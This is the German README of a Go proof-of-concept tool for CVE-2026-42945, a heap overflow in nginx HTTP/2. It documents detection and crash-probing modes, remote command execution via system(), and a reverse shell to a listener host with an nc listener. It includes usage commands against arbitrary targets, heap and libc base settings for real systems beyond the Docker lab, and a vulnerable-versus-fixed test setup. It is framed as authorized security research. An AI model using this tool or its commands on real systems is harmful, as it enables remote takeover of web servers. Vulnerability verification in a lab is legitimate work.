
Go-basiertes PoC-Tool für CVE-2026-42945 (nginx HTTP/2) mit Erkennung, Crash-Erprobung, Befehlsausführung und Reverse-Shell-Funktionen in autorisierten Umgebungen.
Deutsch | English
Ein Erkennungs- und Exploit-Hilfstool für die nginx HTTP/2-Implementierung (CVE-2026-42945), das in autorisierten Umgebungen verwendet wird, um das Vorhandensein der Schwachstelle zu überprüfen, die Wirksamkeit von Patches zu testen und das PoC-Verhalten in kontrollierten Testumgebungen zu reproduzieren.
Betroffene Versionen (grobe Einschätzung): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ sind behoben.
Dieses Repository dient ausschließlich der Sicherheitsforschung, Schwachstellenverifikation und defensiven Tests.
Wenn du mit den obigen Bedingungen nicht einverstanden bist, stelle die Nutzung sofort ein und lösche dieses Repository.
go.mod)make, golangci-lint (Entwicklung/Code-Check)GET /api/, POST /spray usw.) bereitstellen; Docker-Testimages enthalten diese bereits.# Schnellbuild (Ausgabe nach bin/, von .gitignore ignoriert)
make build-cmd
# Oder direkt mit go
go build -o ./bin/cve-2026-42945 ./cmd
# Eingebettete Version anzeigen
./bin/cve-2026-42945 -version
Veröffentlichte Binärdateien: Lade cve-2026-42945-<os>-<arch> von Releases herunter (automatisch gebaut von GitHub Actions nach Push eines v*-Tags).
-target string Ziel-IP/Hostname (Standard 127.0.0.1)
-port int Ziel-Port (0=80; Docker-Schwachstellenversion oft 19321)
-docker Lokale Docker-Experimentierumgebung testen (vuln:19321, fixed:19331)
-check-only Nur Erkennung, kein Exploit-Traffic senden
-probe-crash Overflow-Erkennung + Seitenkanal durch Worker-Absturz
-cmd string Befehl zur Ausführung über system()
-shell Reverse Shell (erfordert -lhost)
-lhost string Lokale IP für Reverse Shell
-lport int Lokaler Port für Reverse Shell (Standard 4444)
-docker-profile Heap-/libc-Basen aus deploy/docker verwenden
-heap-base string Heap-Basis (hexadezimal, z.B. 0x555555659000)
-libc-base string libc-Basis (hexadezimal)
-tries int Anzahl Versuche pro Heap-Kandidat (Standard 10)
-timeout int HTTP-Timeout in Sekunden (Standard 5)
-v Ausführliche Ausgabe
-version Version anzeigen und beenden
Der Modus
-dockerkann nicht gleichzeitig mit-cmd/-shellverwendet werden; für Einzelziele nutze-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Starte zuerst die Testcontainer:
make docker-up
# oder
docker compose -f deploy/docker-compose.yml up -d --build
Erster Build kompiliert nginx, kann einige Minuten dauern; warte, bis
docker compose psden Statushealthyanzeigt, bevor dumake test-labausführst.
| Dienst | Port | Beschreibung |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (anfällig) |
| fixed | 19331 | nginx 1.30.1 (behoben) |
Batch-Erkennung:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Oder mit Makefile-Kurzbefehlen:
make test-lab # check + probe
make cmd-exploit # Schreibt /tmp/pwned auf vuln und zeigt Verifikationsbefehl
Die höchste Erfolgsrate wird erreicht, wenn ASLR deaktiviert ist (setarch -R) und die voreingestellten Basen aus -docker-profile verwendet werden:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Prüfen, ob Datei geschrieben wurde
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminal 1: Tool starten (versucht nc-Hintergrundlistener)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Falls nc nicht gefunden wird, manuell lauschen:
nc -lvnp 4444
Wenn sich ASLR, libc-Version oder Heap-Basen des echten Ziels von denen in Docker unterscheiden, müssen die Basen selbst ermittelt oder geschätzt werden:
# Ziel muss Klartext-HTTP-Port sein (nicht TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Seitenkanal: Worker anormal: Zeigt nur an, dass ein Worker möglicherweise durch Overflow abgestürzt ist. Allein kein Beweis für RCE.docker exec usw.).cmd/ Hauptprogrammeinstieg
internal/rift/ Erkennungs-, Payload- und Exploit-Logik
deploy/docker/ Experimentelle Images (nginx 1.30.0 / 1.30.1)
deploy/docker-compose.yml
.github/workflows/ Multi-Plattform-Release-Builds
make help # Alle make-Ziele anzeigen
make test # Unit-Tests
make lint # golangci-lint
make version # Aktuelle Build-Version anzeigen
Neue Version veröffentlichen:
git tag v1.0.0
git push origin v1.0.0
Verwende dieses Tool nur auf Systemen, die du testen darfst. Jeglicher Missbrauch liegt außerhalb der Verantwortung der Autoren.
| Modus | Beschreibung |
|---|
-check-only | Konnektivität, Server-Header, grobe Versionsprüfung, PoC-Endpunkt-Erkennung |
-probe-crash | Senden eines Overflow-Exploits, Seitenkanalanalyse durch Worker-Absturz |
-cmd | Erstellen einer Exploit-Payload, Ausführung eines Befehls über system() |
-shell | Reverse Shell (erfordert -lhost, auf lokalem Rechner nc nötig) |
-docker | Batch-Tests in lokaler Docker-Experimentierumgebung (vuln / fixed) |
| Punkt | Beschreibung |
|---|
| Protokoll | Nur Klartext-HTTP (net.Dial + rohe HTTP-Bytes) unterstützt, kein HTTPS/TLS. Für TLS-Ports (z.B. -port 443) muss ein TLS-Terminator vorgeschaltet werden oder ein HTTP-Port verwendet werden. |
| Docker-Tests | Images sind linux/amd64. Der erste docker compose build kompiliert nginx aus dem Quellcode, was lange dauert. Im Container wird ASLR mit setarch -R deaktiviert – ein großer Unterschied zur Produktion. |
| Apple Silicon | Lokaler Docker läuft emuliert über platform: linux/amd64, vergleichsweise langsam. |
| Reverse Shell | -shell benötigt systemeigenes nc; unter Windows ist manuelles Lauschen empfohlen. |
| Erfolgsbewertung | Seitenkanal (Worker-Absturz) bedeutet nicht RCE. Befehlseffekte müssen unabhängig verifiziert werden. |